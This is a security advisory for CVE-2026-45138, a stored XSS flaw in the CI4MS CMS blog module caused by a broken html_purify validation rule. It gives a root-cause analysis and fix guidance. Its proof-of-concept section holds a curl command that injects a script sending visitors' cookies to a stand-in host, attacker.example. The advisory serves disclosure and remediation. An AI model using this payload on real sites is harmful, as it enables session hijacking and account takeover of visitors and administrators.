GHSA-2m69-jmvh-6chr CVE-2026-45138
CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.18%
- Chance of exploitation in the next 30 days. Higher than 6.97% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
0.31.9.0- Upgrade ci4-cms-erp/ci4ms to this version or later
Description
Summary
The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.
Details
Root cause: by-reference mutation never propagates
Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$clean = self::sanitizeHtml($str);
$str = $clean; // <-- mutates only the local $value in CI4's validator
self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
return true;
}
CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) { // local $value
$this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}
// Validation.php:343-345
$passed = ($param === null)
? $set->{$rule}($value, $error) // <-- $value is the local var
: $set->{$rule}($value, $param, $data, $error, $field);
The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).
Sink: raw POST is persisted and rendered unescaped
The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:
// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)
$langsPost = $this->request->getPost('lang'); // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => $lanData['content'], // <-- raw HTML stored
...
]);
}
The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.
The public blog post template echoes the field with no escaping:
// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
<?php echo $infos->content ?>
</section>
The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.
Trust boundary
Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.
Same defect in the Pages module
A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.
PoC
Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.
- Submit a blog post with an XSS payload as the content body:
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-xss' \
-d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
-d 'isActive=1' \
-d 'categories[]=1' \
-d 'author=1' \
-d 'created_at=01.01.2026 10:00:00' \
-d 'csrf_token_name=<token>'
-
The validator returns success (
html_purifyreportstrue), and the row is written toblog_langswithcontent=<script>...</script>verbatim. -
Visit the public post URL
https://target/blog/poc-xss. The injected<script>runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.
Independent root-cause verification (run against the local app):
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>
That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.
Impact
- Stored XSS reachable by any account with
blogs.createorblogs.update(delegated content-editor permission), executed in the browser of:- every anonymous public visitor that loads the affected blog post,
- the superadmin and other backend reviewers when they open or preview the post.
- Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
- Because the same broken
html_purifyrule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable throughPages::create/Pages::updatevia the same primitive — i.e., this is a project-wide regression of an already-published advisory. - The
getClean()cache fallback intended as a backstop is also non-functional (key mismatch betweenmd5(clean)writer andmd5(original)reader).
Recommended Fix
-
Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize at the sink in every controller that accepts WYSIWYG HTML, or (b) sanitize after
validate()and before persisting.Minimal, immediate fix in the Blog controller — apply to both
newandedit:// modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201) use Modules\Backend\Validation\CustomRules; ... $this->commonModel->create('blog_langs', [ 'blog_id' => $insertID, 'lang' => $lanCode, 'title' => trim(strip_tags($lanData['title'])), 'seflink' => trim(strip_tags($lanData['seflink'])), 'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')), 'seo' => !empty($seoData) ? $seoData : '', ]);Apply the identical change to
modules/Pages/Controllers/Pages.php(the previous Pages Stored XSS fix relied onhtml_purifyand is therefore still vulnerable). -
Fix the cache key bug so
getClean()actually works as a defense-in-depth backstop:// modules/Backend/Validation/CustomRules.php public function html_purify(?string &$str = null, ?string &$error = null): bool { if (empty(trim((string)$str))) return true; if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; } $original = (string)$str; $clean = self::sanitizeHtml($original); self::$cleanCache[md5($original)] = $clean; // key on ORIGINAL, before reassignment $str = $clean; // best-effort; CI4 will drop this return true; } -
Document explicitly in
CustomRulesthathtml_purifyis not a sanitizer — it returnstrueunconditionally on any HTMLPurifier-installed environment — and that callers MUST useCustomRules::sanitizeHtml(...)(orCustomRules::getClean($original)after the cache fix) on$_POSTdata before storage. -
Defense in depth: escape
$infos->contentat output where feasible (e.g.,app/Views/templates/default/blog/post.php:51), or pipe the stored value throughCustomRules::sanitizeHtml()on read for templates that are expected to render rich HTML — guaranteeing safety even if a future caller forgets the sanitizer.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| ci4-cms-erp/ci4ms | < 0.31.9.0 |
0.31.9.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
ci4-cms-erp/ci4ms Packagist → 0.31.9.0
- composer
composer require ci4-cms-erp/ci4ms:^0.31.9.0
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-gqr2-7hcg-rchf CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule | High | Also affects ci4-cms-erp/ci4ms |
| GHSA-245j-xjvr-xvm5 CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-5hfv-c864-qcq9 CI4MS has a Deactivated User Session Bypass (active=0) | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-vgrf-pr28-vf98 CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess | Medium | Also affects ci4-cms-erp/ci4ms |
| GHSA-fw49-9xq4-gmx6 CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution | High | Also affects ci4-cms-erp/ci4ms |
| GHSA-xv3r-vr59-95rg CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE | Critical | Also affects ci4-cms-erp/ci4ms |
| GHSA-xp9f-pvvc-57p4 CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE | Critical | Also affects ci4-cms-erp/ci4ms |
| GHSA-qxpq-82f3-xj47 CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS | Critical | Also affects ci4-cms-erp/ci4ms |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor